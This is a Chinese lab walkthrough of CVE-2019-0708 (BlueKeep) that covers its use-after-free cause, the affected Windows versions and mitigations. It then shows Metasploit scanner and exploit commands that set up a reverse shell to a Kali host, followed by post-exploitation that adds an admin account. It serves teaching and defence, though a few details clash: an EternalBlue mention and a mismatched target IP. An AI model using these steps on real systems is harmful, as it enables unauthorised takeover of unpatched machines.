远程桌面提权漏洞复现:原理详解+环境搭建+渗透实战(CVE-2019-0708)

目录

一、远程桌面提权漏洞

1、漏洞简介

2、漏洞原理

3、影响范围

4、漏洞防范

二、环境搭建

1、拓扑搭建

2、确保关闭防火墙

3、确保远程桌面功能开启

三、渗透实战

1、msfconsole

[2、search 2019_0708](#2、search 2019_0708)

3、漏洞探测

4、cve_2019_0708_bluekeep模块

5、配置模块

6、查看配置

7、开启攻击

8、后渗透

(1)进入命令行界面

(2)消除乱码

(3)新建管理员账号

(4)远程桌面连接


本文分析了CVE-2019-0708(BlueKeep)远程桌面提权漏洞,该漏洞影响Windows旧版本系统,攻击者可通过RDP协议远程执行任意代码。文章详细介绍了漏洞原理、影响范围及防范措施,重点演示了利用Metasploit框架进行渗透测试的全过程,包括环境搭建、漏洞探测、模块配置、攻击实施及后渗透操作(创建管理员账号、远程连接等)。通过实验验证了该漏洞的严重性,强调及时打补丁和采取防护措施的重要性。

| 组件 | 角色 | IP 地址 | 关键配置/状态 |
| Kali Linux | 攻击机 | 192.168.59.141 | 运行Metasploit,包含exploit/windows/rdp/cve_2019_0708_bluekeep模块。 |

Windows 7 靶机 192.168.59.130 未安装CVE-2019-0708补丁,远程桌面服务开启,防火墙关闭或3389端口开放。

一、远程桌面提权漏洞

1、漏洞简介

CVE-2019-0708是一个危害严重的微软远程桌面服务RDP协议远程代码执行漏洞,2019年5月14日,微软发布了针对远程桌面服务的关键远程执行代码漏洞CVE-2019-0708的补丁,该漏洞影响某些旧版本的windows。攻击者一旦成功触发该漏洞,便可以在目标系统上执行任意代码,该漏洞的触发无需任何用户交互操作。这意味着,存在漏洞的计算机只要联网,无需任何操作,就可能遭遇黑客远程攻击,运行恶意代码。

项目 详细说明
CVE编号 CVE-2019-0708
漏洞别名 BlueKeep
漏洞类型 远程代码执行
影响协议 RDP(远程桌面协议)
风险等级 高危 / 严重
主要危害 无需身份验证即可远程执行任意代码,可能导致蠕虫式传播,完全控制目标系统。

2、漏洞原理

CVE-2019-0708本质上是一个由RDP协议实现缺陷引发的释放后重用漏洞

  • 问题核心 :RDP服务器在初始化连接阶段,会默认创建一个名为MS_T120的静态虚拟信道,并绑定到特定的内部索引(0x1F)。

  • 漏洞触发 :攻击者可以恶意地通过RDP连接请求,在系统初始连接序列期间,在31之外的信道上尝试再次绑定同名的MS_T120信道 。这会导致MS_T120信道被绑定两次。

  • 漏洞利用 :当攻击者请求关闭其中一个信道时,系统会释放该信道相关的资源;然而,另一个绑定着的信道仍然持有对已释放资源的引用。此时,如果系统因后续操作(如断开RDP连接)再次尝试使用这个已被引用的资源,便会触发UAF漏洞 ,导致系统崩溃或可能被利用来执行任意代码

微软通过更正远程桌面服务处理连接请求的方式 来修复此漏洞,主要措施是确保MS_T120信道仅能绑定到指定的内部通道(通道31),防止其被重新绑定到其他通道

3、影响范围

CVE-2019-0708主要影响旧版本的Windows操作系统,较新的系统(如Windows 8、Windows 10及之后版本)不受影响。

受影响的系统主要包括

  • Windows 7

  • Windows Server 2008 R2

  • Windows Server 2008

  • Windows Server 2003

  • Windows XP

4、漏洞防范

针对CVE-2019-0708漏洞,可以采取以下措施进行防护:

  • 安装官方补丁(首选)

    这是最根本的解决方法。微软已发布安全补丁,建议受影响用户通过Windows Update自动更新或访问Microsoft官方安全更新指南手动下载并安装对应补丁。

  • 临时缓解措施

    如果暂时无法安装补丁,可以考虑:

    • 禁用远程桌面服务:如果业务不需要,请在系统设置中禁用远程桌面服务。

    • 开启网络级别身份验证(NLA) :启用NLA后,攻击者需要先通过身份验证才能进行RDP连接,这增加了利用漏洞的难度,可阻止未经身份验证的攻击者利用此漏洞 。但请注意,如果攻击者拥有有效的凭证,受影响的系统仍然容易受到远程代码执行攻击

    • 防火墙策略 :在网络防火墙封锁TCP 3389端口(RDP默认端口)的外部访问。但这主要防护来自网络外部的攻击,内部网络风险依然存在。

二、环境搭建

1、拓扑搭建

本文使用kali和windows7专业版靶机构建了CVE-2019-0708远程桌面漏洞的渗透测试环境。攻击机Kali Linux(192.168.59.141)与靶机Windows 7(192.168.59.130)部署于同一虚拟子网内。靶机因未安装安全补丁且开放3389端口而暴露漏洞,攻击机通过Metasploit框架的bluekeep模块向靶机发送恶意RDP数据包,利用协议处理漏洞获取系统控制权,隔离网络确保测试过程不会影响外部真实环境。

组件 角色 IP 地址 关键配置/状态
Kali Linux 攻击机 192.168.59.141 运行Metasploit,包含exploit/windows/rdp/cve_2019_0708_bluekeep模块。
Windows 7 靶机 192.168.59.130 未安装CVE-2019-0708补丁,远程桌面服务开启,防火墙关闭或3389端口开放。
虚拟网络 链路 192.168.59.0/24 隔离的虚拟网络VMnet8,确保攻击测试不影响物理网络。

2、确保关闭防火墙

不关闭防火墙有可能 nmap 扫描不到其端口, MSF 利用不了永恒之蓝漏洞。

3、确保远程桌面功能开启

查看win7的3389端口是否开启,在cmd下输入netstat -an,如图所示已开启端口。

如果3389端口未开启,需要手动开启,具体步骤为:控制面板 --> 系统与安全 --> 系统 --> 允许远程访问。如下图所示即可开启。

三、渗透实战

1、msfconsole

2、search 2019_0708

查询2019_0708漏洞,可以看到有两个关于 2019_0708 的模块,如下图所示。

3、漏洞探测

使用use 0来检测目标主机192.168.59.130是否存在CVE-2019-0708远程桌面漏洞。通过发送特制RDP数据包验证目标系统是否未打补丁且存在安全缺陷。如下所示描结果显示"vulnerable",确认该靶机存在BlueKeep漏洞,接下来可进一步利用此漏洞实施远程代码执行攻击,最终获取系统控制权限。

复制代码
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS 192.168.59.130
run

4、cve_2019_0708_bluekeep模块

在确认目标存在漏洞后,我们使用攻击模块cve_2019_0708_bluekeep进行渗透,如下所示。

show targets(查看主机架构,这里要选择正确的选项,我这里是选的 1 才会产生 shell 的反弹,选择 2 直接就导致目标机蓝屏)。

5、配置模块

针对CVE-2019-0708 BlueKeep漏洞攻击模块进行参数设定:rhost 192.168.59.130指定存在漏洞的Win7靶机地址,lhost 192.168.59.141为接收Meterpreter反向连接的Kali攻击机地址,rport 3389明确攻击目标为远程桌面服务默认端口。target 1指定攻击载荷对应Windows 7 SP1特定系统版本的内存布局,此精确配置旨在通过RDP协议漏洞实现远程代码执行,最终在目标系统上建立反向Shell控制通道。

复制代码
set rhost 192.168.59.130
set lhost 192.168.59.141
set rport 3389
set target 1

6、查看配置

使用show options查看配置的信息对不对,如下图所示与配置一致。

7、开启攻击

输入run或者exploit开启攻击,如下所示渗透成功。

8、后渗透

(1)进入命令行界面

(2)消除乱码

(3)新建管理员账号

(4)远程桌面连接

打开一个终端,输入命令 rdesktop 192.168.178.130,远程连接目标机的桌面,如下图所示。

输入刚才创建的账户得用户名和密码,如下所示。

如下所示,登陆后会导致其他用户断开连接。

点击开始菜单,如下所示登陆账号为刚刚创建的账户。